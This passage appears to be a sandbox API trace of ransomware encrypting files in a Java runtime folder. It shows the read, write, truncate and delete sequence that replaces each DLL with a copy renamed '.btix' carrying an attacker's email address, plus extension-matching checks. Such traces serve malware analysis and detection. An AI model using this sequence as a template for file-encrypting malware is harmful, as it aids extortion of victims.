Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0149.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.762] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.762] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.762] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.762] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0149.763] GetLastError () returned 0x0 [0149.763] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x9040, lpOverlapped=0x0) returned 1 [0149.825] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x9050, lpOverlapped=0x0) returned 1 [0150.220] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.220] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf0, lpOverlapped=0x0) returned 1 [0150.220] SetEndOfFile (hFile=0x338) returned 1 [0150.221] CloseHandle (hObject=0x338) returned 1 [0150.221] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.221] SetEndOfFile (hFile=0x39c) returned 1 [0150.222] CloseHandle (hObject=0x39c) returned 1 [0150.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.222] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1 [0150.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.222] lstrlenW (lpString=".doc") returned 4 [0150.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.222] lstrlenW (lpString=".docx") returned 5 [0150.222] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0150.222] lstrlenW (lpString=".pdf") returned 4 [0150.222] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.222] lstrlenW (lpString=".xls") returned 4 [0150.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.222] lstrlenW (lpString=".xlsx") returned 5 [0150.222] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0150.222] lstrlenW (lpString=".ppt") returned 4 [0150.222] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.222] lstrlenW (lpString=".zip") returned 4 [0150.222] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.222] lstrlenW (lpString=".rar") returned 4 [0150.222] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.223] lstrlenW (lpString=".bz2") returned 4 [0150.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.223] lstrlenW (lpString=".7z") returned 3 [0150.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.223] lstrlenW (lpString=".dbf") returned 4 [0150.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.223] lstrlenW (lpString=".1cd") returned 4 [0150.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.223] lstrlenW (lpString=".jpg") returned 4 [0150.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.223] lstrlenW (lpString=".doc") returned 4 [0150.223] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.223] lstrlenW (lpString=".docx") returned 5 [0150.223] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0150.223] lstrlenW (lpString=".pdf") returned 4 [0150.223] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.223] lstrlenW (lpString=".xls") returned 4 [0150.223] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.223] lstrlenW (lpString=".xlsx") returned 5 [0150.223] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0150.223] lstrlenW (lpString=".ppt") returned 4 [0150.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.223] lstrlenW (lpString=".zip") returned 4 [0150.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.223] lstrlenW (lpString=".rar") returned 4 [0150.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.223] lstrlenW (lpString=".bz2") returned 4 [0150.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.224] lstrlenW (lpString=".7z") returned 3 [0150.224] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.224] lstrlenW (lpString=".dbf") returned 4 [0150.224] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.224] lstrlenW (lpString=".1cd") returned 4 [0150.224] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0150.224] lstrlenW (lpString=".jpg") returned 4 [0150.224] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.224] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.224] lstrlenW (lpString="npt.dll") returned 7 [0150.224] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0150.224] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=19008) returned 1 [0150.224] CloseHandle (hObject=0x39c) returned 1 [0150.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0150.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0150.225] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.225] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0150.225] GetLastError () returned 0x0 [0150.225] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x4a40, lpOverlapped=0x0) returned 1 [0150.308] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x4a50, lpOverlapped=0x0) returned 1 [0150.576] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.576] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0150.576] SetEndOfFile (hFile=0x338) returned 1 [0150.576] CloseHandle (hObject=0x338) returned 1 [0150.576] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.576] SetEndOfFile (hFile=0x39c) returned 1 [0150.577] CloseHandle (hObject=0x39c) returned 1 [0150.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.577] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 1 [0150.577] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.577] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.577] lstrlenW (lpString=".doc") returned 4 [0150.577] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.577] lstrlenW (lpString=".docx") returned 5 [0150.577] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0150.577] lstrlenW (lpString=".pdf") returned 4 [0150.578] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.578] lstrlenW (lpString=".xls") returned 4 [0150.578] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.578] lstrlenW (lpString=".xlsx") returned 5 [0150.578] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0150.578] lstrlenW (lpString=".ppt") returned 4 [0150.578] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.578] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.578] lstrlenW (lpString=".zip") returned 4 [0150.578] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.578] lstrlenW (lpString=".rar") returned 4 [0150.578] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.578] lstrlenW (lpString=".bz2") returned 4 [0150.578] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.578] lstrlenW (lpString=".7z") returned 3 [0150.578] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.578] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.578] lstrlenW (lpString=".dbf") returned 4 [0150.578] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.578] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.578] lstrlenW (lpString=".1cd") returned 4 [0150.578] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.578] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.578] lstrlenW (lpString=".jpg") returned 4 [0150.578] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.578] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.578] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.578] lstrlenW (lpString=".doc") returned 4 [0150.578] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.578] lstrlenW (lpString=".docx") returned 5 [0150.579] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0150.579] lstrlenW (lpString=".pdf") returned 4 [0150.579] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.579] lstrlenW (lpString=".xls") returned 4 [0150.579] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.579] lstrlenW (lpString=".xlsx") returned 5 [0150.579] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0150.579] lstrlenW (lpString=".ppt") returned 4 [0150.579] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.579] lstrlenW (lpString=".zip") returned 4 [0150.579] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.579] lstrlenW (lpString=".rar") returned 4 [0150.579] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.579] lstrlenW (lpString=".bz2") returned 4 [0150.579] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.579] lstrlenW (lpString=".7z") returned 3 [0150.579] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.579] lstrlenW (lpString=".dbf") returned 4 [0150.579] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.579] lstrlenW (lpString=".1cd") returned 4 [0150.579] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0150.579] lstrlenW (lpString=".jpg") returned 4 [0150.579] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.580] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.580] lstrlenW (lpString="npjp2.dll") returned 9 [0150.580] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0150.580] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=234560) returned 1 [0150.580] CloseHandle (hObject=0x39c) returned 1 [0150.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0150.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.580] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0150.580] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.581] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.581] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0150.654] GetLastError () returned 0x0 [0150.654] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x39440, lpOverlapped=0x0) returned 1 [0150.668] WriteFile (in: hFile=0x380, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x39450, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x39450, lpOverlapped=0x0) returned 1 [0150.673] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.673] WriteFile (in: hFile=0x380, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0150.673] SetEndOfFile (hFile=0x380) returned 1 [0150.673] CloseHandle (hObject=0x380) returned 1 [0150.673] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.673] SetEndOfFile (hFile=0x39c) returned 1 [0150.675] CloseHandle (hObject=0x39c) returned 1 [0150.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.675] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 1 [0150.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.675] lstrlenW (lpString=".doc") returned 4 [0150.675] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.675] lstrlenW (lpString=".docx") returned 5 [0150.675] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0150.675] lstrlenW (lpString=".pdf") returned 4 [0150.675] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.675] lstrlenW (lpString=".xls") returned 4 [0150.675] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.676] lstrlenW (lpString=".xlsx") returned 5 [0150.676] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0150.676] lstrlenW (lpString=".ppt") returned 4 [0150.676] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.676] lstrlenW (lpString=".zip") returned 4 [0150.676] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.676] lstrlenW (lpString=".rar") returned 4 [0150.676] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.676] lstrlenW (lpString=".bz2") returned 4 [0150.676] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.676] lstrlenW (lpString=".7z") returned 3 [0150.676] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.676] lstrlenW (lpString=".dbf") returned 4 [0150.676] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.676] lstrlenW (lpString=".1cd") returned 4 [0150.676] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.676] lstrlenW (lpString=".jpg") returned 4 [0150.676] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.676] lstrlenW (lpString=".doc") returned 4 [0150.676] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.676] lstrlenW (lpString=".docx") returned 5 [0150.676] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0150.676] lstrlenW (lpString=".pdf") returned 4 [0150.676] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.676] lstrlenW (lpString=".xls") returned 4 [0150.676] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.676] lstrlenW (lpString=".xlsx") returned 5 [0150.677] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0150.677] lstrlenW (lpString=".ppt") returned 4 [0150.677] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.677] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.677] lstrlenW (lpString=".zip") returned 4 [0150.677] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.677] lstrlenW (lpString=".rar") returned 4 [0150.677] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.677] lstrlenW (lpString=".bz2") returned 4 [0150.677] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.677] lstrlenW (lpString=".7z") returned 3 [0150.677] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.677] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.677] lstrlenW (lpString=".dbf") returned 4 [0150.677] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.677] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.677] lstrlenW (lpString=".1cd") returned 4 [0150.677] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.677] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0150.677] lstrlenW (lpString=".jpg") returned 4 [0150.677] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.677] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.677] lstrlenW (lpString="prism_common.dll") returned 16 [0150.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0150.678] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=57408) returned 1 [0150.678] CloseHandle (hObject=0x39c) returned 1 [0150.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0150.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.679] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0150.679] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.679] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.679] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0150.680] GetLastError () returned 0x0 [0150.680] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xe040, 